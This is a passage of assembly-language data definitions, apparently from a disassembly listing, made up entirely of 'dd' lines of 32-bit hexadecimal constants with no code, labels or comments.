		dd 0D643E544h, 7AF01872h, 7600192Ah, 0AC71FF12h, 26EDFDBh
		dd 0C08D5D13h, 70734391h, 63882A90h, 0A09ACB80h, 1F8C5EEh
		dd 4C925672h, 0F355F63Bh, 0CA6E380Bh, 43581A4Ah, 40C8BD78h
		dd 1C8C01EBh, 18479991h, 88A8281Fh, 30514E24h, 0C715569Ah
		dd 37580071h, 0B13FE757h, 912E2C3Eh, 0A0B14F4h,	1904C99Dh
		dd 99731432h, 0EB130A60h, 832600F2h, 0D9906253h, 1298783Ah
		dd 0C4203727h, 0DAD06CCh, 1E91A85Bh, 0AB85F089h, 2DB2251Fh
		dd 207510F0h, 0AD76254Fh, 0CF06C91h, 74B08414h,	0CB256243h
		dd 6507944Eh, 0E9EA072Eh, 68DB4230h, 61D6023Fh,	8610A457h
		dd 0C30418E0h, 9E783380h, 0A46BE5E8h, 0CD031E30h, 3DA5FA48h
		dd 9E18E88Fh, 1D970EFBh, 414035FDh, 76F7D4F6h, 6064F4B9h
		dd 0DA03E4FDh, 9A1EA8DBh, 0E8834DB2h, 300A2EFDh, 0E868DC72h
		dd 0BD86DF63h, 0F764488h, 883F8380h, 4053E3E0h,	80A13CB8h
		dd 94210C7Ah, 0C8B4641Ch, 0DA1FB194h, 0E7C0B38Eh, 437B53C6h
		dd 0C0275535h, 0CEC8DC01h, 0A860BEC5h, 4684BD0h, 21E48FC4h
		dd 0C0492ED1h, 3FA07038h, 31020644h, 9422E45Fh,	401741C7h
		dd 3ADA6FF4h, 4C931EBEh, 63E482BAh, 9A803C5Ch, 0B674FC41h
		dd 479E003Dh, 783425B5h, 0A3008F56h, 9412AFFDh,	8BF215h
		dd 6F20C65Bh, 18B8A268h, 3D956700h, 1ABB232Dh, 0B0771E32h
		dd 46C5C05Bh, 0E2F9E5AAh, 668741BDh, 0B8BA0CE4h, 0D28F0D8Fh
		dd 0E0605540h, 8DFDF5Fh, 6B69DB00h, 24D30825h, 0D4BFDAh
		dd 8F4E7522h, 983037C5h, 2F8941BDh, 6B8300A5h, 0D1BC4818h
		dd 78005CD3h, 0E05771E8h, 0CEDDA1h, 1E94EDEBh, 0AEC4FC6Eh
		dd 0FAE6EF00h, 5186E97Ch, 1C0D1846h, 18D850C8h,	0E10ECC02h
		dd 88B954EDh, 0D8080BFh, 0D2E78036h, 559F0EA5h,	0CF636C0Eh
		dd 4890AD8Eh, 0B3074504h, 99365BCCh, 0CBA14Ch, 3001DAA1h
		dd 8A4EEB1Ch, 29B40700h, 1033A77Fh, 0A24639EEh,	0DBA0F800h
		dd 70FAE712h, 10104CA9h, 0A94CF1C3h, 36892F94h,	0D80D6E6h
		dd 49CD6612h, 570730E6h, 0DD1FB94Dh, 4AA893h, 0DEF6A31h
		dd 6FE39A28h, 0CB795700h, 0EEFB2CFEh, 0F207020Eh, 50C99902h
		dd 4A85E800h, 0F97A6369h, 0BF901929h, 2200FC84h, 7D09891Ch
		dd 6499E1D9h, 3744B0C6h, 606849BCh, 2194414Ch, 790052A6h
		dd 4E07A510h, 565C37Bh,	2D0EC220h, 0DCB407EEh, 97D5F47Ah
		dd 5257D100h, 0BA40AC51h, 1C19B118h, 0E0ACAB65h, 0C13A5C0h
		dd 0B07DF9D3h, 39224520h, 6DC00A1h, 2AAF9EA4h, 4C31C344h
		dd 45A85155h, 0BC0F3180h, 0D59FA679h, 0C5A15800h, 9B9D788Bh
		dd 0F95606D2h, 0D8BFCA4Fh, 59CB5530h, 1C2880C3h, 0E6658830h
		dd 48221Eh, 1FD920ADh, 9FE40E1Ch, 0D2BA7206h, 717165C4h
		dd 0DC450630h, 39A25646h, 0DC829D2Ah, 0CB54A102h, 90C27ACDh
		dd 62EF84h, 0CCF1380h, 299AD172h, 0A63B3824h, 0FD539D3Fh
		dd 84FE4D03h, 0EDF008A0h, 94912B58h, 31FF7A1Eh,	8FCA9851h
		dd 0A3701279h, 0F82AD713h, 19DCFDF5h, 4059359Ch, 76B891B0h
		dd 1205F28h, 0E9A0C07Fh, 0C8D2B4F5h, 0BE070793h, 55F986DAh
		dd 0F070B916h, 57A788E3h, 0AD54EFFAh, 40A03AA4h, 10924468h
		dd 1CCD6E48h, 691EFBEEh, 0A920CA18h, 0C3281D11h, 67C9F023h
		dd 9300A2D0h, 0C0F3DFB0h, 5019A414h, 88987859h,	0B9C041A8h
		dd 0AF7F0CF0h, 1511012Dh, 4F565FE7h, 584BE2D1h,	0EC4CC288h
		dd 0B2B92283h, 8ED8B302h, 90B04A9Ch, 4015FB88h,	0C31A30B1h
		dd 4039C54Dh, 0C0DC31ADh, 0DBC4C0D9h, 38C0D72Ah, 59DE6310h
		dd 87FD16E5h, 616B007Eh, 6F110B30h, 4AF12801h, 0D10E413Fh
		dd 8ED24184h, 0BA88C842h, 0A0B2188h, 85B69187h,	0DFF510F4h
		dd 5C1F4CA2h, 4A259D08h, 0E7190F18h, 948A00DEh,	381901D4h
		dd 8C549C69h, 7214F5B4h, 80F058BCh, 8899B74Bh, 0F1EE0074h
		dd 0A77BA894h, 0AC240E11h, 6456898h, 8C45844Fh,	2AC3B9B9h
		dd 7BC47AEh, 6BA62DCBh,	0DF79C039h, 260E86A4h, 814EA191h
		dd 0C11131B2h, 87F29441h, 0A0106207h, 57C7A8A0h, 6972F47Ah
		dd 0C0991973h, 9B260900h
		dd 0FC0DEEA1h, 30200054h, 31679493h, 9E012C29h,	0A2D2F18Fh
		dd 0F030ED48h, 11448674h, 34D150D2h, 4D5513ABh,	9824FDh
		dd 0F28BB660h, 0AC3F69C8h, 88E080F1h, 0C3BB944Bh, 589A1540h
		dd 0CA0098DCh, 0E5F0F5F3h, 0EA03AA62h, 0C8719D5Ah, 6B1BD8FBh
		dd 13C1FE3Ch, 34651EFAh, 0FC5C80B0h, 4F0CC373h,	915AFBD3h
		dd 0C126248Dh, 0F0E9146Ch, 7A8693C8h, 2479B4DBh, 404056C2h
		dd 0A13B4013h, 11F6A788h, 1CC62DBh, 30B394EEh, 0A4507569h
		dd 0E77DC4Fh, 0E553D6C0h, 0A980ACAh, 61C0D2FCh,	32AEC5A2h
		dd 204B01ACh, 5478DEC4h, 421CF830h, 0C81F15EAh,	87EE103Ch
		dd 5A4EC39Fh, 38AA6773h, 0C4989044h, 0C0D3DD04h, 0F88A0166h
		dd 29D09918h, 0C900C49Dh, 839AE76h, 706B02A3h, 904D5C06h
		dd 0C94E026h, 985905A5h, 0D2398460h, 1CCA9C59h,	0E6204E99h
		dd 50B40DCh, 0A30262F2h, 0B10EC1F6h, 77944978h,	6D138C50h
		dd 0BA88073Ah, 0B763EDF1h, 0ECA04F95h, 0B7CC6B5Ah, 0C09C8948h
		dd 0C348BE8Ah, 441C98A2h, 0FA0CEFFDh, 207F9373h, 571A0F31h
		dd 9C404512h, 0BF993067h, 0E2CA91C7h, 0E8477D73h, 147BBBh
		dd 9B8EA6Ch, 871899Fh, 0F659240Ch, 5C107077h, 0DC05B4D3h
		dd 73AF462h, 8875B584h,	68020391h, 0B02EF955h, 8831D0A4h
		dd 0A819DB0Ch, 37C0A324h, 20005073h, 397D44EAh,	9D003B30h
		dd 17381B36h, 301EC47Fh, 6929D699h, 34009077h, 8148539Ch
		dd 986142Ch, 43AEF4A5h,	19C01C20h, 1100CF3Ah, 9351842h
		dd 79406B5Bh, 5CD44C32h, 88C98610h, 2E678081h, 976E7231h
		dd 6BF1BE1Dh, 45DD9201h, 0D8301168h, 872908CDh,	0E4265051h
		dd 0EC61840h, 98447FEBh, 798D3AD0h, 0D584540h, 66C381B0h
		dd 0A44C3A58h, 0B15B60F9h, 4A9132DEh, 54C32B0Ch, 371590Ch
		dd 65354697h, 60820E12h, 66FB7C68h, 0F61D3h, 0F631D857h
		dd 11389A4Dh, 118729F0h, 4711C6E4h, 0C15F124Bh,	0A031144Ch
		dd 532A03B4h, 0E70692F9h, 69A045D0h, 0B164BF90h, 208037E0h
		dd 689103h, 120E25E0h, 385B144Fh, 895CC873h, 8E059E8Ch
		dd 188858BEh, 2A4FC2Ch,	0D34D2F31h, 0DC618D57h,	5AB118Fh
		dd 0A423F8F1h, 0C239FB30h, 5158574Ah, 40BCA288h, 2A3B642Ch
		dd 64C9F4h, 0A1051048h,	0C6EB81B4h, 0D915A900h,	0E8654FDCh
		dd 0BCBA00C4h, 83796FF9h, 0AE06ECAh, 0F109FA74h, 8E47CEh
		dd 59B453A5h, 0B36406C5h, 189B09D9h, 1200FD76h,	0B2B77CA5h
		dd 7C947624h, 4CC50B8Fh, 805DD53Ch, 1655893h, 0CAB8031Ah
		dd 0CDA158Ah, 0C6795AD0h, 2F3A3300h, 0A4BE95C5h, 586463FFh
		dd 49008D12h, 0B4D69A59h, 78C044h, 98069E76h, 3513E5F7h
		dd 0F18E90C3h, 0A93901F6h, 0E30794A4h, 6C67209Fh, 2B8F5E0Fh
		dd 0E551F878h, 39576010h, 7A302A70h, 88802E60h,	6D27869h
		dd 0E5B0DAB3h, 3522318Ch, 0FAF13722h, 0ABE6C069h, 1B006C38h
		dd 34793EBFh, 5CB44Ch, 0EB29E2BAh, 93F2C62Bh, 8098E63Dh
		dd 52965BE3h, 51ABFCh, 7DBBC867h, 1BA9466Fh, 17C7D700h
		dd 5A229115h, 0FC560018h, 514011A1h, 1006AF5h, 0D16BA20Ah
		dd 288B2CBEh, 4480C724h, 0F2EC5823h, 33989663h,	87CBAh
		dd 0CE98BED0h, 0C337EFD9h, 0E9387474h, 3956B01Bh, 0C80F8D1h
		dd 0A0721936h, 49008AFEh, 0D5F7E75Ch, 9006C215h, 85D10704h
		dd 0C33C9190h, 86D83843h, 52098084h, 11AB6AF4h,	0D009D20Ch
		dd 2C6110E4h, 998A2B69h, 0D489C50h, 0E412069Bh,	300A5913h
		dd 1D6C2B15h, 0C6C41EB8h, 0A9452A00h, 88966D24h, 0BCE17FFBh
		dd 4B2E7431h, 0C8224F40h, 38015AF8h, 0BC5E6242h, 29B620D5h
		dd 0AE005968h, 0EA0EE8BDh, 5F5D32h, 3AB36CE5h, 89D35CBFh
		dd 0C13C4B77h, 438E1F64h, 11BC3D0Ch, 9D130056h,	7759CCF6h
		dd 8E0155DEh, 0D965FBC0h, 0A74080F0h, 0E268BBC9h, 40A306BDh
		dd 68BC0146h, 0D84E5A03h, 0C2E39D10h, 44244426h, 0E5609AFEh
		dd 3A7D057Ch, 0C8778ACh, 5FAD4CFAh, 8B00CFF0h, 53835874h
		dd 0C59375h, 0A61D073h,	494068A0h, 56E20C00h, 0D7BC8D21h
		dd 5895614Eh, 50B61BF4h, 2F666ECCh, 470FEF00h, 7F6D9692h
		dd 32E41408h, 272A4898h, 97900098h, 0FDD27F29h,	850019C3h
		dd 0B97E144Dh, 6E165EBh, 0F16F2DF2h, 0AA00C1F3h, 0F61E9E09h
		dd 1CBCF5h, 4C96FA15h, 2E8E940Dh, 0DA29EC60h, 73B5BA2h
		dd 726FC698h, 733AF084h, 7100DE78h, 0A750CD8Fh,	52C4F725h
		dd 56009496h, 55AC5387h, 0B279E343h, 36479E00h,	0A5499067h
		dd 199300F5h, 0F98F7AFEh, 6924D6F4h, 41354C1Fh,	6D4F4401h
		dd 40237F2Bh, 9F1F6057h, 8A03208Dh, 89736DAAh, 0BC881334h
		dd 0E02C278Fh, 0D2903C4Bh, 5B016DF0h, 2B6FC4E1h, 0F88AA7BCh
		dd 309DFA13h, 0BDB3EB79h, 27E3412Ch, 2836EE00h,	18454D3Ch
		dd 0F8A49C04h, 791269D8h, 580A24F8h, 6583DC3Bh,	3F2797F6h
		dd 9B007E49h, 140D0799h, 0D2004158h, 4E5CDE8Fh,	0F722343Dh
		dd 0E0A46EC9h, 155A4058h, 2D7C753Bh, 0A00D783Dh, 4AD1078Fh
		dd 0B0FBDA4Eh, 0EF1996BBh, 0F7828B01h, 0F82F636Fh, 0FB70F830h
		dd 0C5E38980h, 0A3D88B58h, 0C311D900h, 7A6D8D6Eh, 0C0614C33h
		dd 20F3B11h, 0BDB0D570h, 0FC844D2h, 24C2922Ah, 339925ACh
		dd 4F074891h, 8F20E583h, 67D995h, 0B0EA0521h, 557346B2h
		dd 68272E24h, 6124960Ch, 2C5860C7h, 903025D8h, 8FA97F07h
		dd 9ED01E3Ah, 6F1253A8h, 0F50069EBh, 0AFC609B6h, 5295EE00h
		dd 0A86BB049h, 91FA03D6h, 0F4F2C293h, 8CCBA900h, 0D3995C21h
		dd 0E01307ECh, 5774E2A6h, 7588011Dh, 0C47C3495h, 910E9730h
		dd 8366DAh, 0F5D5DF05h,	2CFCD8F6h, 29EC3913h, 0D1063A0Ch
		dd 3C714824h, 78704383h, 0D39FC18Dh, 0FE81BBF0h, 2A08F307h
		dd 0F4B04D15h, 99583767h, 51C240A8h, 0F06042CAh, 60F45958h
		dd 9529C633h, 0F800990Dh, 7D92B5A0h, 0C15C22h, 0E7DF876Bh
		dd 458FD40Ah, 0E60D1807h, 5B110FB0h, 21C4F1CFh,	7F79C4h
		dd 56440E4Ch, 65748670h, 87255038h, 768712B1h, 83241039h
		dd 286301D1h, 0A301028Ah, 0F62DF895h, 353C5376h, 0B6B4009Dh
		dd 32983738h, 0CAF72AFDh, 2E0D1C08h, 6C4006Fh, 7B89AFD1h
		dd 0CF4F9400h, 18D96E83h, 7CE4ABE7h, 6C9151h, 0F4741E73h
		dd 5964BF69h, 944053F9h, 1DFABC4Bh, 50EE3648h, 0B0C0D121h
		dd 0A8299FC2h, 0C8B85017h, 51F4657Fh, 0C868C833h, 73D50F0Fh
		dd 87E18B85h, 80CE1D5Ch, 51F453AAh, 6109AB9h, 0E5FC8F6Eh
		dd 8E2E390Ch, 0F7605479h, 13052EC9h, 59E1B8h, 0CFF63910h
		dd 47005DF3h, 2487F940h, 6213E685h, 25F14134h, 7DCBF0A0h
		dd 0BF00D960h, 0EDD5664Eh, 700A2BC4h, 0A6670070h, 44F35ABAh
		dd 0C1C1B613h, 85D61297h, 17F66434h, 315A0FE5h,	72837708h
		dd 0B41D39C4h, 0E437D096h, 1E80EB0h, 899104F0h,	0C819A1C4h
		dd 2A4CC9BCh, 5D5200D0h, 0AF4E769Fh, 0B8B1043Bh, 0C7194BFBh
		dd 8ABF361h, 3C2CD12Ah,	4361D465h, 20F0D082h, 4F98548Ah
		dd 683D83Ch, 159C89CEh,	0F1661811h, 1B429F8h, 0BA102F00h
		dd 0ADDBAC32h, 0F2A30BB0h, 6C229A5Eh, 9524BD5Ch, 3D18C888h
		dd 7D9744h, 0EC9D049Ah,	0A4EA6D7Dh, 87502498h, 1134E5ECh
		dd 38403165h, 2355A5DDh, 33FC00DAh, 0E778933Ch,	40043B7Ah
		dd 188B2B68h, 0E9801888h, 69307700h, 26AAD800h,	377A4DCFh
		dd 82E90735h, 0DFE1D1D0h, 22557821h, 1480A639h,	0BE548401h
		dd 90601C14h, 0FC5E513Bh
		dd 6767F5E8h, 6ED1B5h, 9E8715BCh, 707F7301h, 0AE557D8Fh
		dd 60338C60h, 0A61A81B9h, 46005311h, 0FD286920h, 0B0656F4Ah
		dd 966C1104h, 164F058Eh, 0E0D72669h, 0BA1124AAh, 0AB668F00h
		dd 2CD51FFFh, 0B9F84600h, 14BCF987h, 0C5E4001Dh, 0CAF429FCh
		dd 161F969Fh, 7207DA04h, 5BB0D5A7h, 8A531Ah, 7EC26A7Dh
		dd 0BB460EC9h, 0A851CC1Ch, 316C3383h, 0F6CE881Ah, 90480027h
		dd 87A96D54h, 0AA0E5B5Fh, 8059CFA1h, 561ED68Ah,	9773000Dh
		dd 47A51D19h, 32069DF1h, 0A0F5E4BFh, 0B6DA1811h, 8BF62950h
		dd 91758AE8h, 7E29EA03h, 0B4772B31h, 453BDCA4h,	966DF053h
		dd 4B763388h, 8838023Dh, 0C6049B09h, 0A25E14C0h, 0E0708084h
		dd 0D904C18Ah, 0FF4310CEh, 5820147Eh, 0CC866Eh,	215540E0h
		dd 660CC037h, 83F4993Eh, 0CF726CE4h, 0ACDAD85Bh, 361C0324h
		dd 6541F97Dh, 2F384DE8h, 0FF1350E2h, 282011DFh,	2B92568h
		dd 6F8ECCE3h, 90E85576h, 52441897h, 23B100B9h, 0F4805670h
		dd 7516D16Fh, 5840BBDDh, 95601A39h, 58797F68h, 0B384C098h
		dd 65A4A4D1h, 2438F926h, 1178E110h, 24187Eh, 0C4B445DDh
		dd 0B037DA33h, 0C226072Dh, 0B0AD0493h, 1A15D142h, 3155D231h
		dd 0E0321DD9h, 35DB0D0Bh, 344B8800h, 0C0A81BF4h, 79058564h
		dd 0F3365A2Ah, 1792ACC3h, 20440D19h, 0B3DA6CB8h, 0D271DD1Dh
		dd 9D7F4107h, 84F31FA2h, 14810187h, 0FAE417F9h,	0FBE60A8Ch
		dd 870AA69h, 129226A4h,	0C0A00822h, 17F31Dh, 0DC889C3Bh
		dd 6E4A1AE8h, 96713C0Fh, 2DD680DEh, 5283BCh, 61543FDh
		dd 0D18E9856h, 480F024h, 1218F211h, 1CBD59E6h, 4516E101h
		dd 0E4AAD147h, 128899CEh, 0C42830Ch, 6CB17Ch, 0CCBE1492h
		dd 0DA0037C1h, 0D965A08Ah, 0B8A493B3h, 1FC8440h, 78726D48h
		dd 0E3D1BFA1h, 67978905h, 97C27688h, 5308E077h,	940C5893h
		dd 944D7C48h, 900F2B22h, 40685FEEh, 0A056B9Ch, 69EEE4Fh
		dd 13E3A133h, 7053299Fh, 8A3B1E9Ch, 602585C0h, 965E7Eh
		dd 0CE9E761Ah, 1E9ADE32h, 2A7B7C01h, 6961399Ch,	0B040A021h
		dd 0EF066EABh, 73139428h, 39C09188h, 80806259h,	5BE6017Dh
		dd 4E4B0071h, 6F655CEFh, 7FF6A83Bh, 0E7148A00h,	0ED29D9F6h
		dd 40626077h, 1B515435h, 5C0014B8h, 634CFA22h, 21E119h
		dd 3D17DD62h, 3CC85E3Ah, 0AE363B00h, 9271295Ah,	19610CDFh
		dd 0F2193896h, 4600ECA4h, 28B7F717h, 15522790h,	0A4823192h
		dd 74D90074h, 0EF39AF5Ch, 2B0034CDh, 87E6A43Eh,	50B9D589h
		dd 33ABB59h, 0B2B75DDEh, 0BCD07879h, 61C0F5D7h,	14FB2783h
		dd 10F90491h, 84A895FEh, 0D74CE038h, 58F4C444h,	0B3860C53h
		dd 809819ACh, 78813D50h, 30FD652Ch, 76848680h, 902455C5h
		dd 0FF1518FCh, 131438B5h, 1948FA02h, 52400EF4h,	0FDD1302Ch
		dd 0C0576551h, 0E86E7201h, 0E25490Fh, 0C2A2260h, 0B4E1166h
		dd 98B1F2C8h, 8258F900h, 283F7CAh, 9334C13Eh, 4090576Bh
		dd 0B200FB0Eh, 8A7132ABh, 119E5A1h, 16EAE78h, 89E96572h
		dd 44A4BCB9h, 2A333070h, 0C6796EF1h, 0F536F702h, 0A193A58Ah
		dd 0F62E17C0h, 0BB242C33h, 0A6530474h, 80254859h, 0C7DF1BB2h
		dd 0D9033C9Ch, 9E28ED07h, 68E40023h, 0B48CB826h, 67B067BBh
		dd 7FE03604h, 0FCF3B0BAh, 0DC58C43Dh, 16D5900h,	54C6282Ah
		dd 8E021CB0h, 6F2CAD56h, 0F05864F0h, 5F680644h,	91BC6EDBh
		dd 553A6700h, 42277BB1h, 0B0350284h, 7A2A1AFAh,	768FDC40h
		dd 914A7000h, 0CA8758D1h, 48FB776Eh, 0E406329Ah, 10EB6DD2h
		dd 2E0D5203h, 0C87C8Bh,	0E69BC571h, 0B866FBDDh,	0C49502F1h
		dd 0B0B6050Ch, 0B07F239h, 44B2FDB8h, 0C4144880h, 0D5138EFBh
		dd 0FC43E249h, 0D9ECC5E3h, 518F8F53h, 711BF16Dh, 0BEEBAE0h
		dd 0CE00BB90h, 83C7BE78h, 2431E46Dh, 6C64D6F6h,	0D29F431h
		dd 3C11CCA7h, 80879F00h, 0B2626905h, 0B0A3181Ch, 297291C0h
		dd 2644BCh, 9916E89Dh, 208FB309h, 61E138C0h, 4A106B72h
		dd 702840ECh, 48D39143h, 6A712Dh, 0C4A8E264h, 5084054Ch
		dd 0D2B3F1A7h, 39218178h, 3F6006FEh, 8200062h, 0FB035FFAh
		dd 0E0BD486Dh, 423377Ch, 7DA28361h, 0C910F1E6h,	0A986138Eh
		dd 8385D75h, 89C4C2Ch, 1981B6ADh, 0E7E29694h, 8AD430h
		dd 29D0E0A7h, 6235A192h, 55D30F18h, 162A1C28h, 4604BF7h
		dd 21AC51CCh, 121121D7h, 0DB4420B7h, 7B38E700h,	9EA2ABFFh
		dd 3DFB7D37h, 84001E4Eh, 0F59F69Fh, 89003156h, 34BACAE1h
		dd 2C2545DEh, 399511DDh, 0FC38A83Ah, 0D2BFAF80h, 58C1526Bh
		dd 0A5121B77h, 920088DAh, 1C7418Bh, 774038FFh, 9250D031h
		dd 1DEC0CB3h, 8012585Fh, 3EDCFF8Eh, 2E619652h, 0ABC7A020h
		dd 79165080h, 253BD5B7h, 2DB5C40Fh, 688FE18Bh, 7080B3B2h
		dd 71F824ABh, 6E00E78Dh, 1545113h, 127A353h, 894FFC08h
		dd 81A855A0h, 0F9CCDB50h, 0B3CC1FE8h, 0AE4C0027h, 0A9146AC7h
		dd 0B24CE082h, 88F803FBh, 71E54126h, 688760B0h,	9B7CF3A5h
		dd 0DD634F00h, 434E4180h, 0B7050016h, 76258BC2h, 68E831E2h
		dd 46EDA606h, 0F795AA0h, 5B510543h, 45785701h, 4A8609Eh
		dd 3B6D6E00h, 0B1C66394h, 58B1884h, 0D28D9B5h, 0E4A38F26h
		dd 99BAB200h, 591E737h,	0C6D6C07h, 2554C082h, 1A0058A8h
		dd 9D14851Fh, 0D6268Ah,	0F6F7EA90h, 0F8912468h,	0DED8F550h
		dd 23D8730Ch, 2AC9D183h, 0DCBD45h, 4AF2468Bh, 0F37EF77Ch
		dd 0DEFF1000h, 0ACC99805h, 0A9E2019Fh, 0A3AB89DAh, 0D62F86Fh
		dd 0DBA0FA18h, 0E2591841h, 74151E24h, 0A7930005h, 0F386F2CFh
		dd 0EB4F0C01h, 0AA47C9A2h, 0CDA33180h, 446A7399h, 0A002FA00h
		dd 0A919584Dh, 39B9002Ah, 0F8BD0EAh, 1E000C10h,	42256CE8h
		dd 519745E1h, 0CAD58CB6h, 60009371h, 7CCF9A5Fh,	0DB860A2Eh
		dd 39CC02A2h, 0E34C3905h, 6DB040CBh, 21559CCEh,	8F19791Ch
		dd 6A870140h, 65FA458h,	8C28ACE0h, 4E0550F6h, 0CCDE9D1Fh
		dd 1CAA9840h, 6CEB24h, 8FB2DA09h, 5553B4E2h, 46A37300h
		dd 69A008F6h, 9FED0006h, 3A0F250Eh, 6F1E15D6h, 39006B6Ch
		dd 855FB641h, 4FF000B1h, 0CBC32A0Bh, 0FF001CE2h, 0DCFDEDD1h
		dd 40F86h, 8A28CC6h, 25E907CDh,	69DF2603h, 0C8DE94h, 40603891h
		dd 67255A4h, 8F522101h,	22141590h, 713EAAE0h, 7E90A8A7h
		dd 6A7900C2h, 3C8D64C7h, 9300C38Ch, 17454E47h, 24B0DE54h
		dd 87BC8F04h, 47AC3F8Bh, 0DB344359h, 94457000h,	5843B740h
		dd 0C7160FCAh, 22C6E37Ch, 0A77D915Ah, 70057892h, 3F315237h
		dd 25B644C0h, 74FF00FAh, 262429D2h, 99C0F495h, 0DDBD3EABh
		dd 0F1015CD7h, 0CFB65350h, 0BA608E51h, 0D162A6A1h, 60DB9F00h
		dd 4745193Eh, 0E2590156h, 92F42E10h, 0F798024h,	0FB520639h
		dd 44A63C8Bh, 11051118h, 0C061A7CDh, 2C3F5BE1h,	269080D3h
		dd 8684AC98h, 0E7700B0h, 0E0BAD23Dh, 47005CE3h,	0D0A81F05h
		dd 9612621h, 724DA7B0h,	63B58C00h, 0E2EC59Bh, 0DE1274A1h
		dd 27593803h, 45E93EBFh, 60D8690Fh, 6E3C6FC7h, 0CC03F9A9h
		dd 3C159DFh, 0CAF60786h, 4D150F81h, 7520FE70h, 0F8B9F404h
		dd 7672B609h, 0BB4C0439h, 274B2E40h, 9600A8AFh,	7832C05h
		dd 1A1F6F1h, 4CE5FF86h,	435B9AD5h, 31A845DCh, 2210D87Eh
		dd 0DB0689FDh, 0A9A1E398h, 0BFDD9C80h, 84580113h, 0F30EEC21h
		dd 70B4E03Eh, 0EAC8F000h, 0A4F86DEh, 0A75F00BCh, 285EE16h
		dd 0AB0ED52Ah
		dd 9DF1C58h, 0CFC0009Ah, 77603CC4h, 0B9321987h,	0E33E78FAh
		dd 0F9CD80E0h, 0D72A6900h, 66CEEBEh, 78AF0F5h, 0E096F840h
		dd 0A94180DEh, 6E056B3Eh, 0F9A0D294h, 9A8CE440h, 0C44DC8h
		dd 24473CDFh, 9508A989h, 5B05E000h, 0DC3D12B1h,	1353736Dh
		dd 21255AF0h, 50D3DEB0h, 0EE0D1AA0h, 1762AA00h,	0E7DB85Fh
		dd 27C60C97h, 47688182h, 0A1FB88A0h, 3BC7D344h,	698074E0h
		dd 0FF4B2FF1h, 1F1F9144h, 0F06A3BC5h, 9DFDF021h, 0A90020B6h
		dd 18D221F1h, 899CF9h, 8E6399C8h, 3B1D167h, 7D3A237Eh
		dd 0E7938747h, 0B80045A9h, 106AD88h, 0BE2DF343h, 0E1B0ABC2h
		dd 608457E2h, 81678959h, 0FABFD500h, 941AF569h,	0B046FCAEh
		dd 430D00B8h, 0B0EF89D4h, 98925E4Dh, 26D86812h,	73EF05Eh
		dd 1A259DB1h, 0E2186BFh, 5BA73019h, 0E9DE5C31h,	2A241706h
		dd 6218BD8h, 64DC2C07h,	0DF021184h, 0A06E97E9h,	59F86877h
		dd 0BC8F5228h, 400B522h, 0DC65909Fh, 3FFF144h, 5BEF5213h
		dd 80F538CFh, 0B08ABFD0h, 22404C50h, 3ED32B39h,	0AC3C3AC6h
		dd 0F8086898h, 0E1089C89h, 1999B001h, 4DFC2530h, 2B451E29h
		dd 9BF500B4h, 21DC7364h, 4CDF9700h, 94B68987h, 47C92D0h
		dd 231D4709h, 452CC899h, 82A1FD3Eh, 0A049DC54h,	81A0905Ch
		dd 0E1FB1C1Eh, 0E262C72Ch, 7E98B097h, 8D00348Bh, 577FF522h
		dd 0A883B26Fh, 0A880DEB4h, 695080h, 965B3C3h, 89AD64B7h
		dd 0F301CE00h, 0FAA1FF46h, 8D2B0123h, 0B09DEA80h, 1CD0325Fh
		dd 5B4544B7h, 0A8D0EB15h, 0C349B5A3h, 8A6FDA59h, 70895AD9h
		dd 80ED0B28h, 693FB019h, 98D43063h, 864CA34Ch, 0A358FC99h
		dd 0BE25E16Ch, 1810D855h, 56D3052Ch, 0D4D4418Dh, 85D170C4h
		dd 0A8E36054h, 5223A115h, 47009C6Fh, 820301AFh,	87062F53h
		dd 0BF25D86Eh, 2C20B351h, 56E7004Eh, 37779101h,	0ADD55E03h
		dd 0F01CDF27h, 2FC150Fh, 457F7A5Bh, 0BCE4DB4Eh,	0A9DFB271h
		dd 66B9E583h, 5B0FE056h, 28BB0022h, 5901F8D6h, 70006167h
		dd 90F237FFh, 0EE6AC2h,	74FD0FBFh, 0A56733E5h, 726E8A0Eh
		dd 211F2FACh, 0AFA0EC83h, 718DA180h, 0CE276A1Dh, 6CBF6300h
		dd 0C56BE9Ah, 0EB8C01BCh, 921651ECh, 2EA432E9h,	0D000F9A2h
		dd 0F9B8E017h, 0C0843A28h, 56A0470Ah, 155F8090h, 0E5E02B7Bh
		dd 54F06C00h, 67092FC0h, 53EFE2Eh, 0CA94F108h, 0D84402DDh
		dd 0CC44CD39h, 6D0094BAh, 0E45CF276h, 0CBE29h, 0F64446E6h
		dd 0FD7C2523h, 0C1D86849h, 0DB2EDC5Ch, 0D4808917h, 0C2D9CA4Bh
		dd 0C7AC69D0h, 809F61C9h, 397FF286h, 9D0B006Eh,	0FCEF5460h
		dd 8E7FCB10h, 74DEFA0Ch, 30FF508Dh, 4649D0A0h, 0C906D578h
		dd 5FA3377Bh, 0F25D07F9h, 4416384Bh, 0D7AC8098h, 0FC01F72Eh
		dd 205B6AC8h, 8180BAB2h, 27E7608Dh, 32005E3Bh, 0D1DEB409h
		dd 58F84B7Fh, 1DDDC40h,	0D3E95AFBh, 0AB46EC21h,	0A0F848h
		dd 8ADDBC77h, 0D46A9B5Dh, 0DE15E4F1h, 1C1E8082h, 0B9D240FCh
		dd 0DB5D83EFh, 2128084Dh, 20B216DAh, 0E22AB8E4h, 0F1981E09h
		dd 0CFA08489h, 0D1400852h, 0B03029BEh, 0E189DE00h, 0EC34A84Ah
		dd 12DA7BA9h, 8B6BFE6h,	709EB160h, 6E1B93C0h, 0AF1341h
		dd 1AFA3DFDh, 68EC285Eh, 0EA4D0100h, 6EE712ABh,	43604B2Ah
		dd 26DDD24Ch, 60588493h, 0C422E4h, 0F8742468h, 202E9A92h
		dd 0BCB941Ch, 78951900h, 6F27D8h, 62E7B104h, 0AEDCCA47h
		dd 10B678A1h, 6599D3h, 1E436CA4h, 5ED5D087h, 0FE2A201Ch
		dd 63F2F044h, 0A8FF888h, 0C4AF39B2h, 0C8A74450h, 0EB1F672Ch
		dd 0E440EEB0h, 3BD694B7h, 47DF2A41h, 0D481E260h, 4600E239h
		dd 0B27687C1h, 0F4984508h, 18EC0BF2h, 0A0F7F10Ch, 40B1D8h
		dd 0A12B82CBh, 0F55F8C66h, 629CAA1Dh, 5AF82EC3h, 0AB292E5Eh
		dd 0C4C50820h, 19A6A70Ch, 2E70069h, 27F8CB49h, 470781A9h
		dd 0D28B4E77h, 0A9B2D332h, 1E0C40D8h, 0DB3722D8h, 8169FF06h
		dd 131107B0h, 91B36EDAh, 0F4662150h, 3800E4E8h,	0FA353123h
		dd 0BCD020h, 1A4CF33Ah,	97C68058h, 0BC53BF3Ah, 0BE607E46h
